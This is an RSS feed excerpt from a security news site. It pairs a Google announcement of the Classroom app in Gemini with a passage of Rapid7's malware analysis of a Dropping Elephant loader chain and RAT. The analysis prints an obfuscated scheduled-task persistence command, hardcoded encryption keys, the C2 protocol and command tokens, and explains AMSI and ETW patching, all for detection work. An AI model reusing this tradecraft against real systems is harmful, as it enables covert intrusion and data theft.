<description><![CDATA[Educators have shared that AI is especially helpful when it understands the context of their teaching environment, from tailoring resources toward student needs or building on their existing materials. To support this, Gemini will be able to collaborate with your Google Classroom, using context f...]]></description>
<link>https://tsecurity.de/de/3606512/web-tipps/make-gemini-more-helpful-and-relevant-to-your-teaching-goals-with-the-google-classroom-app-in-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606512/web-tipps/make-gemini-more-helpful-and-relevant-to-your-teaching-goals-with-the-google-classroom-app-in-gemini/</guid>
<pubDate>Thu, 18 Jun 2026 04:26:33 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Educators have shared that AI is especially helpful when it understands the context of their teaching environment, from tailoring resources toward student needs or building on their existing materials. To support this, Gemini will be able to collaborate with your Google Classroom, using context from your classes to inform its outputs or help complete tasks. For example, educators can get insights on student progress and understanding, create resources and differentiated materials based on Classroom context, or get help drafting posts and assignments.<div><br></div><div>Students 18 and older can similarly use the Classroom app to stay organized across classes – from getting a list of upcoming assignments, creating study plans, doing test practice based on Classroom content, and staying up-to-date on the latest announcements. 

Based on your prompts, Gemini will identify when context from Google Classroom will be relevant, and use it to inform its outputs. You can also explicitly tell Gemini to use information from your Google Classroom account by typing, “@Classroom” and clicking on the Classroom app when it pops up.</div><div><br></div><div class="separator"></div><div><br></div><div><br></div><div>For example, educators can ask Gemini to:</div><div><br></div><div><ul><li><b>Draft communications: </b>Draft communications and posts based on your Google Classroom information.</li><li><b>Draft differentiated assignments and plans:</b> Help draft and update assignments, and generate timelines and structured plans, based on information and content from your Google Classroom.</li><li><b>Understand student progress and take action: </b>Summarize who has submitted assignments, how students have done on prior assignments, and identify where students might need additional teacher support.</li><li><b>Streamline administrative tasks: </b>Update assignment titles, descriptions, and more across multiple classes in draft mode, make seating charts, and find old assignments.</li></ul></div><h4>Important notes</h4><div>Gemini Apps can’t perform certain actions in the Google Classroom app, like:</div><div><br></div><div><ul><li>Enter grades or provide private feedback directly</li><li>Delete, archive, or directly post assignments or announcements (it can post to draft)</li><li>Create rubrics</li></ul></div><div>This feature will be available in English for users designated as over the age of 18 who are using a Google Workspace for Education or Business account in Classroom and Gemini. The Classroom app in Gemini does not currently support data regionalization and your usage data may be stored outside of your designated data region. Data region support for the Classroom app in Gemini is expected later this year.</div><h3>Getting started</h3><div><ul><li><b>Admins: </b>Access to the Classroom app in Gemini will be ON by default for all Education domains and can be disabled at the OU or group level. For all other domains, access will be OFF by default and can be enabled at the OU or group level. Access can be turned on or off with a new <b>Classroom app</b> setting in the Gemini section of the Admin console. Visit the Help Center to <a href="https://support.google.com/a/answer/15293691" target="_blank">learn more about turning Google apps in Gemini on or off for your organization</a>.</li></ul><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDsSwnx0-luG6QMkZX0hbCxPOMJYkZ4SbUrKlHS1lBA7utg7BQ_kP3JiGWqK3j-TtnM6s0nOBQOZuzkiHrPV5eQVHXpwQfz8l1V1o7ZdGyj9OmoDfO1GGEYk_EvsTB28kTELBfMYYQRUi_swZCGHg4bP2emtS7hIWDaOav5NuO5IK655stJV9J-4K2S18i/s2048/Classroom%20Gemini%20App%20Admin.png"><img alt="Admin console settings to control Classroom in Gemini app" border="0" data-original-height="1127" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDsSwnx0-luG6QMkZX0hbCxPOMJYkZ4SbUrKlHS1lBA7utg7BQ_kP3JiGWqK3j-TtnM6s0nOBQOZuzkiHrPV5eQVHXpwQfz8l1V1o7ZdGyj9OmoDfO1GGEYk_EvsTB28kTELBfMYYQRUi_swZCGHg4bP2emtS7hIWDaOav5NuO5IK655stJV9J-4K2S18i/s16000/Classroom%20Gemini%20App%20Admin.png"></a></div><br><div><br></div><ul><li><b>End users: </b>Your admin configuration will determine if you can use the Classroom app in Gemini. Access to the Classroom app in Gemini will be ON by default and can be disabled at the end user level in the connected apps section of the Gemini app settings. Visit the Help Center to <a href="https://support.google.com/gemini/answer/14959807?sjid=5863818655263235588-NC" target="_blank">learn more about using apps connected to Gemini</a>.</li></ul><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFxAVE6-f-KG1WIpQI48puSbC6zbzDCgIX3cnjmcyizek_Fsv8UntUeqSrkirlRzMFyUCGnV7SUU_X4j0SLgD7xkYEBgM1wz4gJONswLk0XrB1F0pdFrtF8bcwVdT_Jw85vKDQjkpRJlSh8-QUeGdtReFTHA9YgFSstpmCSapx3y-OlOUwCxl1-rcfXwjX/s2048/Classroom%20Gemini%20App%20User.png"><img alt="End user settings to enable Classroom in Gemini app" border="0" data-original-height="1283" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFxAVE6-f-KG1WIpQI48puSbC6zbzDCgIX3cnjmcyizek_Fsv8UntUeqSrkirlRzMFyUCGnV7SUU_X4j0SLgD7xkYEBgM1wz4gJONswLk0XrB1F0pdFrtF8bcwVdT_Jw85vKDQjkpRJlSh8-QUeGdtReFTHA9YgFSstpmCSapx3y-OlOUwCxl1-rcfXwjX/s16000/Classroom%20Gemini%20App%20User.png"></a></div><div><br></div></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains</a>: Rolling out now, with expected completion by June 18, 2026</li></ul></div><h3>Availability</h3><div><ul><li>Available in English to all Google Workspace customers who are 18 years or older and signed in to the Gemini app. <a href="https://knowledge.workspace.google.com/admin/getting-started/editions/control-access-to-google-services-by-age" target="_blank">Learn more about age restrictions in Gemini app</a>.</li></ul></div><h3>Resources</h3><div><ul><li>Gemini Apps Help: <a href="https://support.google.com/gemini/answer/16865250?sjid=764380175305792016-NC" target="_blank">Ask about your Google Classroom assignments, classes &amp; more in Gemini Apps</a></li><li>Google Workspace Admin Help: <a href="https://support.google.com/a/answer/15293691?hl=en" target="_blank">Turn apps in Gemini on or off</a></li><li>Gemini Apps Help: <a href="https://support.google.com/gemini/answer/14959807?sjid=5863818655263235588-NC" target="_blank">Use apps connected to Gemini with a work or school Google Account</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain]]></title>
<description><![CDATA[Executive summaryRapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanc...]]></description>
<link>https://tsecurity.de/de/3604666/it-security-nachrichten/malware-la-mode-tracking-dropping-elephant-tradecraft-through-a-china-themed-loader-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604666/it-security-nachrichten/malware-la-mode-tracking-dropping-elephant-tradecraft-through-a-china-themed-loader-chain/</guid>
<pubDate>Wed, 17 Jun 2026 13:52:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (</span><span><span data-type="inlineCode">Fondue.exe</span></span><span>) and the use of "Donut" shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.</span></p><p><span>The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7's deep analysis confirms this activity is a direct evolution of Dropping Elephant's tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.</span></p><p>Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.</p><p><span>Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span>, a scheduled task named </span><span><span data-type="inlineCode">GoogleErrorReport</span></span><span> executing every minute, and </span><span><span data-type="inlineCode">Fondue.exe</span></span><span> loading </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> from </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span> rather than a legitimate Windows directory.</span></p><p><span>Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.</span></p><h2>Overview</h2><p><span>During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.</span></p><p><span>The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.</span></p><p><span>Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use </span><span><span data-type="inlineCode">Fondue.exe</span></span><span>, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, </span>maps it<span>, and executes it in memory.</span></p><p><span>We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.</span></p><h2>Technical analysis and observed attacker behavior</h2><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b0f7114a8893996/6a31a761fafcac0008eb5ee6/delivery-chain-LNK-to-in-memory-RAT.jpg" alt="delivery-chain-LNK-to-in-memory-RAT.jpg" caption="Figure 1: Full delivery chain from LNK to in-memory RAT" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b0f7114a8893996/6a31a761fafcac0008eb5ee6/delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-uid="blt4b0f7114a8893996" data-sys-asset-filename="delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: Full delivery chain from LNK to in-memory RAT" data-sys-asset-alt="delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Full delivery chain from LNK to in-memory RAT</figcaption></div></figure><p>⠀</p><h3><span>Stage 1: GRES3001.lnk</span></h3><p><span>The attack starts when a user executes </span><span><span data-type="inlineCode">GRES3001.lnk</span></span><span>, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw''r, g''c''i, r''e''n, c''p''i, and &amp;(g''cm sch*)) to evade keyword detection.</span></p><p><span>The downloader connects to the staging server </span><span><span data-type="inlineCode">chinagreenenergy[.]org</span></span><span><em> </em></span><span>and retrieves the decoy </span><span><span data-type="inlineCode">GRES3001.pdf</span></span><span> along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta57a33baad32f599/6a31a7d368869100089df54f/GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" alt="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" caption="Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta57a33baad32f599/6a31a7d368869100089df54f/GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-uid="blta57a33baad32f599" data-sys-asset-filename="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader" data-sys-asset-alt="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt16bb44d4d963fa43/6a31a80f72792e0008289d2d/GRES-3-contract-completion-decoy-document.png" alt="GRES-3-contract-completion-decoy-document.png" caption="Figure 3: GRES-3 contract completion decoy document used as victim lure" height="1618" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="GRES-3-contract-completion-decoy-document.png" width="1223" max-width="1223" max-height="1618" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt16bb44d4d963fa43/6a31a80f72792e0008289d2d/GRES-3-contract-completion-decoy-document.png" data-sys-asset-uid="blt16bb44d4d963fa43" data-sys-asset-filename="GRES-3-contract-completion-decoy-document.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: GRES-3 contract completion decoy document used as victim lure" data-sys-asset-alt="GRES-3-contract-completion-decoy-document.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: GRES-3 contract completion decoy document used as victim lure</figcaption></div></figure><p>⠀</p><h3>Stage 2: Payload staging</h3><p><span>Several payload files are downloaded with junk extensions such as </span><span><span data-type="inlineCode">.ezxzez</span></span><span>, </span><span><span data-type="inlineCode">.cypyly</span></span><span>, and </span><span><span data-type="inlineCode">.dzlzlz</span></span><span>, then renamed by stripping filler characters to reconstruct </span><span><span data-type="inlineCode">Fondue.exe</span></span><span>, </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span>, </span><span><span data-type="inlineCode">msvcp140.dll</span></span><span>, and </span><span><span data-type="inlineCode">vcruntime140.dll</span></span><span> in </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span>. The encrypted payload editor.dat is written to the </span><span><span data-type="inlineCode">C:\Windows\Tasks\</span></span><span> folder.</span></p><table><colgroup data-width="1523"><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>File</strong></span></p></td><td><p><span><strong>Path</strong></span></p></td><td><p><span><strong>Description</strong></span></p></td><td><p><span><strong>SHA</strong></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">GRES3001.pdf</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td><td><p><span>Decoy document</span></p></td><td><p><span>56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">Fondue.exe</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td><td><p><span>Legitimate Microsoft side-loading host</span></p></td><td><p><span>b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td><td><p><span>Malicious loader DLL</span></p></td><td><p><span>914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">editor.dat</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Windows\Tasks\</span></span></p></td><td><p><span>Base64 text wrapping AES-256-CBC ciphertext</span></p></td><td><p><span>a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b</span></p></td></tr></tbody></table><p><span><em>Table 1: Files retrieved from the stager server </em></span></p><p><span><em></em></span></p><p><span>After staging the files, the script creates a scheduled task named </span><span><span data-type="inlineCode">GoogleErrorReport</span></span><span>, configured to run </span><span><span data-type="inlineCode">Fondue.exe</span></span><span> every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the </span><span><span data-type="inlineCode">Fondue.exe</span></span><span> side-loading chain.</span></p><p><span></span></p><pre language="c">&amp;(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"</pre><p><span><em>Figure 4: Scheduled task creation command using gcm sch* obfuscation</em></span></p><h3><span>Stage 3: DLL side-loading</span></h3><p><span>The Fondue.exe loads the malicious </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> staged alongside it in the </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span> directory. The side-loaded </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> exports RunFODW, the function expected by </span><span><span data-type="inlineCode">Fondue.exe</span></span><span>. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting </span><span><span data-type="inlineCode">editor.dat</span></span><span>.</span></p><h3><span>Stage 4: Encrypted payload and Donut loader</span></h3><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is </span><span><span data-type="inlineCode">bluetooth_callback.dll</span></span><span>.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb274f62583eca400/6a31aa8266385c0008869474/APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" alt="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" caption="Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb274f62583eca400/6a31aa8266385c0008869474/APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-uid="bltb274f62583eca400" data-sys-asset-filename="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll" data-sys-asset-alt="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll</figcaption></div></figure><p>⠀</p><p><span>It reads </span><span><span data-type="inlineCode">editor.dat</span></span><span>, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (</span><span><span data-type="inlineCode">bcrypt.dll</span></span><span>). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:</span></p><p><span>KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611</span></p><p><span>IV (16B): 000803030902060708090a0b0c0d0e0f</span></p><p><span>The loader maps the shellcode into an RWX memory region using </span><span><span data-type="inlineCode">VirtualAlloc</span></span><span> followed by </span><span><span data-type="inlineCode">memcpy</span></span><span> call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to </span><span><span data-type="inlineCode">EnumUILanguagesW</span></span><span>.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1f7725fd8af978c/6a31ab1143375800089b0744/EnumUILanguagesW-callback-proxy-Donut-shellcode.png" alt="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" caption="Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1f7725fd8af978c/6a31ab1143375800089b0744/EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-uid="blta1f7725fd8af978c" data-sys-asset-filename="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode" data-sys-asset-alt="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode</figcaption></div></figure><p>⠀</p><p><span>The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.</span></p><p><span>The final payload is a native 32-bit C++ implant SHA </span><span>7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54</span><span>. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls </span><span><span data-type="inlineCode">FreeConsole()</span></span><span> to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a </span><span><span data-type="inlineCode">LoadLibrary</span></span><span> / </span><span><span data-type="inlineCode">GetProcAddress</span></span><span> loop. After API resolution, the RAT stages its crypto and builds C2 hostname, </span><span><span data-type="inlineCode">gcl-power[.]org</span></span><span>. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key </span><span><span data-type="inlineCode">tn9905083tfbsxqrxs7qe4ryw1nif8h1</span></span><span> with 8-byte nonce </span><span><span data-type="inlineCode">lPvymwIk</span></span><span>. Next, it calls </span><span><span data-type="inlineCode">sub_40F4A0</span></span><span> subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.</span></p><p><span>Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the </span><span><span data-type="inlineCode">mkeoldkf</span></span><span> beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.</span></p><p><span>After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise. </span></p><p><span>Finally, the RAT fingerprints the host, derives its bot ID, and enters </span><span><span data-type="inlineCode">sub_415750()</span></span><span>, where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.</span></p><h3><span>Host fingerprinting</span></h3><p><span>Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:</span></p><p><span></span></p><table><colgroup data-width="588"><col><col></colgroup><thead><tr><th><p><span><strong>Field</strong></span></p></th><th><p><span><strong>Meaning</strong></span></p></th></tr></thead><tbody><tr><td><p><span><span data-type="inlineCode">umnome</span></span></p></td><td><p><span>Username</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">pmjodf</span></span></p></td><td><p><span>Computer name</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">idkdfjej</span></span></p></td><td><p><span>Bot ID / </span><span><span data-type="inlineCode">cid</span></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">vrjdmej</span></span></p></td><td><p><span>OS version</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">ndlpeip</span></span></p></td><td><p><span>Public IP and country</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">cokenme</span></span></p></td><td><p><span>Country</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">mkeoldkf</span></span></p></td><td><p><span>Full running-process list</span></p></td></tr></tbody></table><p><span><em>Table 2: RAT registration beacon fields and their meaning</em></span></p><p><span><em></em></span></p><p><span>During fingerprinting, the RAT makes a one-time call to </span><span><span data-type="inlineCode">api.ipify.org</span></span><span> to learn the host's own public IP, then passes that IP to </span><span><span data-type="inlineCode">ip2c.org</span></span><span> to resolve the country. The user-agent used in the recon phase is </span><span><span data-type="inlineCode">Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36</span></span><span> </span><span>.</span><span> </span><span>The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the </span><span><span data-type="inlineCode">idkdfjej</span></span><span> field. Each field is independently wrapped as </span><span><span data-type="inlineCode">base64url(Salsa20(base64url(value)))</span></span><span>.</span></p><h3><span>Command and control</span></h3><p><span>The RAT periodically sends HTTPS POST requests to the C2 server on port 443 </span><span><span data-type="inlineCode">(INTERNET_FLAG_SECURE)</span></span><span>. It uses a 23-character token, </span><span><span data-type="inlineCode">RRn926EmIRfm9IlJyP1yVO2</span></span><span> for C2 traffic to </span><span><span data-type="inlineCode">gcl-power[.]org</span></span><span>. Each beacon loop iteration follows the same pattern:</span></p><ul><li><p><span>POSTs </span><span><span data-type="inlineCode">dine=&lt;cid&gt;</span></span><span> to the command-poll endpoint </span><span><span data-type="inlineCode">/prjozifvkpkfhkr/gedhagammgjvvva/</span></span><span>;</span></p></li><li><p><span>blocks on </span><span><span data-type="inlineCode">InternetReadFile</span></span><span> while waiting for a task;</span></p></li><li><p><span>treats </span><span><span data-type="inlineCode">MMMMM==YYYYY</span></span><span> as the idle sentinel, sleeps for approximately three seconds, and re-polls;</span></p></li><li><p><span>C2 tasks are wrapped in  </span><span><span data-type="inlineCode">&lt;</span></span><span> </span><span><span data-type="inlineCode">&gt;</span></span><span> </span><span><span data-type="inlineCode">(</span></span><span> </span><span><span data-type="inlineCode">)</span></span><span>  </span><span><span data-type="inlineCode">*</span></span><span> </span><span>delimiters. The RAT strips these characters and decodes the payload back to the original command using </span><span><span data-type="inlineCode">base64url(Salsa20(base64url(value)))</span></span><span> again.</span></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt469ef563398cbcb4/6a31ad5ac91e8e0008d2b1f0/RAT-beacon-loop.png" alt="RAT-beacon-loop.png" caption="Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="RAT-beacon-loop.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt469ef563398cbcb4/6a31ad5ac91e8e0008d2b1f0/RAT-beacon-loop.png" data-sys-asset-uid="blt469ef563398cbcb4" data-sys-asset-filename="RAT-beacon-loop.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling" data-sys-asset-alt="RAT-beacon-loop.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling</figcaption></div></figure><p>⠀</p><p><span>Each cycle, the RAT first confirms the host is actually online by quietly pinging </span><span><span data-type="inlineCode">google.com</span></span><span>, </span><span><span data-type="inlineCode">yahoo.com</span></span><span>, and </span><span><span data-type="inlineCode">cloudflare.com</span></span><span>. Only if that succeeds does it beacon to its C2. When all's well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.</span></p><h3>Operator capabilities</h3><p><span>During our analysis we confirmed 5 command handlers.</span></p><p><span></span></p><table><colgroup data-width="1414.0804248861912"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Token</strong></span></p></td><td><p><span><strong>Capability</strong></span></p></td><td><p><span><strong>Behavior</strong></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">fl</span></span></p></td><td><p><span>Directory listing</span></p></td><td><p><span>Recursively enumerates files</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">dw</span></span></p></td><td><p><span>Download and execute</span></p></td><td><p><span>Fetches a file, writes it to disk, and runs it</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">sc</span></span></p></td><td><p><span>Screenshot</span></p></td><td><p><span>Captures the virtual screen with </span><span><span data-type="inlineCode">BitBlt</span></span><span>, encodes it with WIC, and exfiltrates it to a dedicated endpoint. This behavior is command-gated, not periodic.</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">cmx</span></span></p></td><td><p><span>Shell execution</span></p></td><td><p><span>Runs </span><span><span data-type="inlineCode">cmd.exe /c chcp 65001 | &lt;cmd&gt;</span></span><span> and captures stdout</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">uf</span></span></p></td><td><p><span>File upload</span></p></td><td><p><span>Exfiltrates a specified file</span></p></td></tr></tbody></table><p><span><em>Table 3: Confirmed RAT command handlers with dispatch tokens and behavior</em></span></p><p><span><em></em></span></p><p><span>The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter </span><span><span data-type="inlineCode">==zz==oo==pp==</span></span><span>. For example, </span><span><span data-type="inlineCode">fl==zz==oo==pp==</span></span><span> tells the RAT to run the file-listing handler.</span></p><h3>Anti-analysis </h3><p><span>The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.</span></p><p></p><figure><div><img 